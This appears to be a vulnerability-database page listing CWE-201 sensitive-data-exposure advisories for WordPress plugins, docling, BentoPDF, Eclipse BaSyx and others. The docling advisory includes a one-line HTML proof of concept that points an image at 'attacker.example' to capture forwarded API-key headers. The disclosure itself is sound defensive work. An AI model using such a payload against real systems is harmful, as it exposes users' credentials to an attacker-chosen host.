CWE-201 vulnerabilities

Unauthenticated Sensitive Data Exposure in Groundhogg <= 4.8.3 versions.

Unauthenticated Sensitive Data Exposure in Snapshotify &#8211; All-in-One Backup &amp; Restore &amp; Migrate <= 1.3.2 versions.

Unauthenticated Sensitive Data Exposure in Norvis Backup <= 1.1.0 versions.

Unauthenticated Sensitive Data Exposure in Museder RestoreOne <= 2.7.276 versions.

Unauthenticated Sensitive Data Exposure in SafeSnap – Verified WordPress Backup &amp; Restore <= 2.1.2 versions.

Unauthenticated Sensitive Data Exposure in Mailjet Email Marketing <= 6.2.3 versions.

Unauthenticated Sensitive Data Exposure in Edwiser Bridge <= 4.3.4 versions.

Unauthenticated Sensitive Data Exposure in Sitemovr <= 1.0.1 versions.

### Summary `HTMLBackendOptions.headers` is documented for passing authentication headers (API keys, bearer tokens) when fetching remote images. docling sends these headers on every remote image request, to whichever host the document names. An untrusted document that references an attacker-controlled image URL receives the caller's credentials. ### Details `docling/backend/utils/image_resource_loader.py` merges `options.headers` into each remote request without checking the destination against the source document's origin. `requests` strips only `Authorization` on a cross-host redirect, so custom headers such as `X-API-Key` or `Cookie` are also forwarded across redirects. ### Affected configurations - Affected: callers that set `headers` together with `enable_remote_fetch=True` and `fetch_images=True` (CLI: `--html-image-headers` with `--html-image-fetch remote` or `all`), and convert untrusted HTML. - Not affected: the default configuration. ### Impact Disclosure of the configured request headers, typically credentials, to a host chosen by the document author. ### Proof of concept ```html <img src="https://attacker.example/pixel.png"> ``` Converting this file with `HTMLBackendOptions(enable_remote_fetch=True, fetch_images=True, headers={"X-API-Key": "..."})` sends the key to `attacker.example`. Other items from the original report (DNS validation and unvalidated browser requests) are tracked in GHSA-pc36-qwjq-x68c. ### Patches Fixed in docling 2.132.0 by [#4420](https://github.com/docling-project/docling/pull/4420). Configured headers are now sent only to the origin of the source document, checked on every redirect hop, and no longer to other hosts named by the document. ### Workarounds Upgrade to 2.132.0. For older versions: Do not set `headers` when converting untrusted documents, or use credentials that are valid only for the intended host and have no other value.

CVE-2026-104402 is a medium severity vulnerability in farvisun Mindio Magic MCP (mindio-magic-mcp) versions up to 0.5.6. It involves the insertion of sensitive information into sent data, allowing retrieval of embedded sensitive data. The vulnerability has a CVSS 3.1 base score of 4.3, indicating a low impact on confidentiality with no impact on integrity or availability. No patch or remediation information is currently available.

CVE-2026-103957 is a server-side request forgery (SSRF) vulnerability in AWS Loom versions before 1.7.0. It affects the OAuth2 discovery handling, allowing an authenticated remote user to obtain another user's access token and make the application send requests to arbitrary internal network locations. The issue is fixed in version 1.7.0 and later.

In Eclipse BaSyx AAS Web UI versions v2-241220 through releases before v2-260924, the shared request handler attached the selected infrastructure's `Authorization` header to outgoing requests without checking the destination origin. In deployments using authentication, an attacker could induce a user to open a crafted Web UI link whose `aas` or `path` query parameter points to an attacker-controlled endpoint. The user's browser would then send the configured Basic Authentication credentials, Bearer token, or an available OAuth2 access token to that endpoint. The attacker could reuse the disclosed credential to access protected AAS services with the victim's privileges. The issue is fixed in v2-260924.

In JetBrains YouTrack before 2026.2.18991 missing authorisation allowed read-only users to read project settings

Unauthenticated Sensitive Data Exposure in MPG <= 4.2.3 versions.

Unauthenticated Sensitive Data Exposure in Notivo <= 1.4.2 versions.

Unauthenticated Sensitive Data Exposure in BackupEase <= 2.2.2 versions.

Unauthenticated Sensitive Data Exposure in StifLi Backup Tools <= 2.2.7 versions.

CVE-2026-86450 is a vulnerability in Parla Auto Automotive Trading Limited Company's DetaWix Mobile Web Portal before version 1.0.19. It involves the insertion of sensitive information into sent data, which results in functionality being accessible without proper access control. The vulnerability has a high severity with a CVSS score of 7.5 and does not require user interaction for exploitation.

BentoPDF is a client-side PDF toolkit that is self hostable. In 2.8.6 and earlier, deserializeWorkflow() accepts the Timestamp node's tsaUrl control from imported JSON without schema or destination validation. When a user imports the crafted workflow and runs it against a PDF, timestampPdf() sends an RFC 3161 TimeStampReq containing the PDF's SHA-256 MessageImprint to the attacker-selected endpoint. The default self-hosted configuration does not set VITE_CORS_PROXY_URL, so the request bypasses the proxy's ALLOWED_TSA_HOSTS checks and is sent directly. The disclosed digest can confirm that a document matches a known file and can correlate the same document across users without revealing its contents. This vulnerability is fixed in 2.8.7.

punchin-email is a Cloudflare Email Worker that provides two-way role aliases while relaying mail to a private inbox. Prior to 1.5.0, handleInbound delivers inbound alias mail with message.forward(), which silently drops the added Reply-To header intended to route responses through the relay. When a correspondent sends mail to an alias and the operator replies, the mail client can send directly to the correspondent from the private FORWARD_TO inbox address, exposing that address. The disclosure is limited to the operator's own email address and does not expose third-party data or provide code execution or authentication bypass. This issue is fixed in version 1.5.0.